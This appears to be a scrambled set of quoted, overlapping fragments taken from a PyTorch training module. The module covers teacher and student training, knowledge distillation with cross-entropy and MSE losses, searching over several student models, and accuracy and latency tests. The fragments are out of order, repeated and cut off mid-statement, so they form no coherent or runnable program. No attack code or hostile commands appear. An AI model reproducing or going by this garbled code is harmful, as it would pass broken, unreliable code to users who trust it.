lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch):", "model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best =", "= model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_, predicted = outputs.max(1)", "- n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1,", "0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss()", "def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n =", "= dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader", "i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if acc > acc_best: acc_best = acc", "import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import", "'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt += 1", "outputs = model(inputs) loss1 = criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs) loss =", "inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs)", "+= 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc',", "range(1, epochs + 1): model.train() #if lr_schedule == 'step': # scheduler.step() loss_total =", "momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device))", "student_outputs = students[j](inputs) if loss_criterion == 'KD': loss = criterion(student_outputs, teacher_outputs) elif loss_criterion", "% (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if test_loss > loss_best:", "j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i) test_loss = test_model_regression(students[j], dataset)", "criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(),", "import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as", "elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss = set()", "dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss = set() with torch.no_grad(): for batch_idx, (inputs,", "model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_, predicted = outputs.max(1) #total", "dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader =", "',acc) if test_loss > loss_best: loss_best = test_loss model.module.loss = test_loss model_best =", "dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader =", "start_time latency.append(time_taken * 1000) lat = np.mean(latency) return lat def train_model_teacher(model_, dataset, save_path,", "momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion =", "+= predicted.eq(targets).sum().item() acc = 100.0 * correct / total return acc def test_model_regression(model,", "lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc = 0 model_best = None model =", "lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j", "lat def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best", "torch.save(model_best, save_path) return model_best, loss_best def train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs,", "model(inputs) loss1 = criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs) loss = loss1 +", "0 total = 0 loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader", "with torch.no_grad(): teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs", "in range(n): if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if", "import os import time import sys import numpy as np def init_model(model): for", "'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets) loss = loss1+loss2 elif", "batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for", "n = len(students_) accs_best = [0.0] * n students_best = [None] * n", "loss_total = 0 batch_cnt = 0 criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'): loader", "loss_total = [0.0] * n batch_cnt = 0 for batch_idx, (inputs, targets) in", "= optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr,", "targets) loss2 = criterion2(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if", "% (opt.i, j), loss_total[j] / batch_cnt, i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \",", "= 0 batch_cnt = 0 correct = 0 total = 0 for batch_idx,", "#opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train loss: ', loss_total/batch_cnt) print('test loss: ',test_loss) if", "acc:\", train_acc) #if train_acc > best_train_acc: # best_train_acc = train_acc # model_best =", "n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1, epochs", "> loss_best: loss_best = test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path)", "\", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if test_loss < loss_best[j]: loss_best[j]", "= students[j](inputs) if loss_criterion == 'KD': loss = criterion(student_outputs, teacher_outputs) elif loss_criterion ==", "if module.bias is not None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias,", "batch_idx, (inputs, targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs =", "= criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_, predicted = outputs.max(1) #total += targets.size(0)", "loss = loss1+loss2 elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step()", "+= 1 #_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() #acc", "scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1, epochs +", "= optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2)", "= None with torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion == 'CE': targets =", "= criterion(student_outputs, targets) loss = loss1+loss2 elif loss_criterion == 'CE': loss = criterion(student_outputs,", "weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in range(1, epochs + 1):", "loss_criterion == 'KD': loss = criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE': loss =", "+= loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc =", "batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs =", "inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _, predicted = outputs.max(1) total", "dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize", "accs_best = [0.0] * n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device))", "'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss1 =", "j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion = nn.MSELoss()", "= test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc)", "outputs.max(1) train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct /", "batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total / batch_cnt, i) acc = test_model(model, dataset)", "is not None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif", "best_train_acc: # best_train_acc = train_acc # model_best = model.module # torch.save(model_best, 'temp_save/temp.pth') #if", "n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n for j in range(n):", "def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best", "batch_cnt, i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j),", "100.0 * correct / total return loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct =", "loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss = test_model_regression(model, dataset)", "criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step()", "\", loss_total/batch_cnt) print(\"test acc: \", acc) if acc > acc_best: acc_best = acc", "= None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization", "lr=lr, weight_decay=weight_decay) for j in range(n)] if lr_schedule == 'linear': batch_cnt = len(dataset.train_loader)", "< loss_best: loss_best = test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path)", "save_path) return model_best, loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay,", "= model(inputs) #i_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() loss", "def test_model_latency(model, dataset): model.eval() loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader", "(inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion ==", "range(n): if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion", "targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None", "model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(),", "#if train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs, targets)", "= acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_regression(model_, dataset,", "#i_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() loss = criterion(outputs,", "+= targets.size(0) equal_v = predicted.eq(targets) correct += equal_v.sum().item() j = 0 #print(equal_v for", "= len(students_) accs_best = [0.0] * n students_best = [None] * n teacher", "nn.CrossEntropyLoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization", "None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer =", "loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \",", "train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad(): for batch_idx, (inputs, targets) in", "= torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or loss_criterion == 'l2': criterion = nn.MSELoss()", "correct = 0 total = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs", "teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(),", "opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if acc > accs_best[j]: accs_best[j] = acc", "torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device)", "= torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr,", "dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best =", "train_loss_avg = train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad(): for batch_idx, (inputs,", "= dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader", "= model(inputs) _, predicted = outputs.max(1) total += targets.size(0) equal_v = predicted.eq(targets) correct", "/ batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss:", "optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in range(1, epochs", "targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion == 'KD':", "= optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1)", "model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() loss =", "i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt)", "opt import os import time import sys import numpy as np def init_model(model):", "in range(1, epochs + 1): print(\"epochs:\",i) teacher.eval() for j in range(n): students[j].train() loss_total", "if loss_criterion == 'KD': loss = criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE': loss", "loss_total/batch_cnt) #print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc = acc", "= 0 loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset,", "= optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1, epochs + 1):", "'linear': loss_total += loss.item() batch_cnt += 1 #print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss'", "optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None", "train_loss_avg) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets", "= outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward()", "def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch):", "dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if test_loss <", "1) nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return model", "accs_best[j]: accs_best[j] = acc students_best[j] = students[j].module return students_best, accs_best def train_model_search_reg(teacher_, students_,", "train_total = 0 best_train_acc = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets)", "= inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_, predicted = outputs.max(1)", "#if lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt = 0 for", "j), acc, i) if acc > accs_best[j]: accs_best[j] = acc students_best[j] = students[j].module", "= time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken = time.time() - start_time latency.append(time_taken *", "if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization ==", "optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss'", "#acc = 100.0 * correct / total return loss_total/batch_cnt def test_model_image(model, dataset): model.eval()", "options as opt import os import time import sys import numpy as np", "batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets", "acc: \", acc) if acc > acc_best: acc_best = acc model.module.acc = acc", "dataset.train_loader train_correct = 0 train_total = 0 best_train_acc = 0 #print(len(loader)) with torch.no_grad():", "outputs.max(1) total += targets.size(0) equal_v = predicted.eq(targets) correct += equal_v.sum().item() j = 0", "return model_best, loss_best def train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum,", "teacher_outputs = teacher(inputs) elif loss_criterion == 'CE': targets = targets.to(opt.device) for j in", "idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best =", "test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if", "'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency = [] with torch.no_grad():", "as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import options as", "enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) inputs = inputs.to(opt.device) targets", "targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _, predicted = outputs.max(1) total +=", "= torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr,", "for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or loss_criterion", "= test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best", "i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc,", "loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() #batch_cnt +=", "torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum,", "loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if", "'l2': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if optimization", "teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization == 'SGD':", "momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule", "[0.0] * n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students =", "inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward()", "= inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets)", "= 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization", "loss: ', loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss < loss_best: loss_best = test_loss", "print('epochs ', i) model.train() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs,", "#opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if test_loss < loss_best[j]: loss_best[j] = test_loss", "= outputs.max(1) train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct", "total return acc def test_model_regression(model, dataset): model.eval() loader = None loss_total = 0", "lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best = [0.0] * n", "criterion2 = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay)", "train_acc # model_best = model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100: #", "print(\"epochs:\",i) teacher.eval() for j in range(n): students[j].train() loss_total = [0.0] * n batch_cnt", "1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc'", "loss_total[j] / batch_cnt, i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' %", "= targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct", "= model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth') with", "targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _,", "#print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if test_loss > loss_best: loss_best = test_loss model.module.loss", "train_loss_total = 0 train_batch_cnt = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets)", "equal_v = predicted.eq(targets) correct += equal_v.sum().item() j = 0 #print(equal_v for i in", "train_correct += predicted.eq(targets).sum().item() train_acc = 100.0 * train_correct / train_total #print(\"train acc:\", train_acc)", "targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs)", "loss_total = 0 batch_cnt = 0 correct = 0 total = 0 for", "model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs,", "* batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda)", "isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is not None: nn.init.constant_(module.bias, 0) elif", "= targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) train_total += targets.size(0) train_correct", "weight_decay=weight_decay) for j in range(n)] if lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp", "0 batch_cnt = 0 criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'): loader = dataset.test_loader", "nn.init.constant_(module.bias, 0) elif isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return model def", "outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item()", "in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss", "outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step()", "model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(),", "correct += equal_v.sum().item() j = 0 #print(equal_v for i in equal_v: if not", "= nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr,", "\", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if acc > accs_best[j]: accs_best[j]", "accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n", "= outputs.max(1) total += targets.size(0) equal_v = predicted.eq(targets) correct += equal_v.sum().item() j =", "= 0 total = 0 loader = None if hasattr(dataset, 'test_loader'): loader =", "== 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule == 'linear': batch_cnt =", "0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None", "opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc,", "(idx), loss_total / batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc,", "= targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) equal_v", "# scheduler.step() loss_total = 0 batch_cnt = 0 correct = 0 total =", "+= loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i)", "#print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc", "1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)] for i", "= model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() loss", "range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion = nn.MSELoss() elif loss_criterion", "students[j](inputs) if loss_criterion == 'KD': loss = criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE':", "#print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets", "'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda = lambda n_exp_seen:", "loss:\", train_loss_avg) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device)", "'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam': optimizer =", "== 'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j in range(n)] elif", "= 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets =", "+ 1): print('epoch',i) model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0", "scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp", "optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() loss_total += loss.item()", "epochs + 1): print('epochs ', i) model.train() loss_total = 0 batch_cnt = 0", "acc > accs_best[j]: accs_best[j] = acc students_best[j] = students[j].module return students_best, accs_best def", "enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad():", "NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total = 0 train_batch_cnt", "in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with", "dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') miss =", "isinstance(module, nn.Linear): nn.init.normal_(module.weight, 0, 0.01) nn.init.constant_(module.bias, 0) return model def test_model(model, dataset): model.eval()", "acc, i) print(\"loss: \", loss_total/batch_cnt) print(\"test acc: \", acc) if acc > 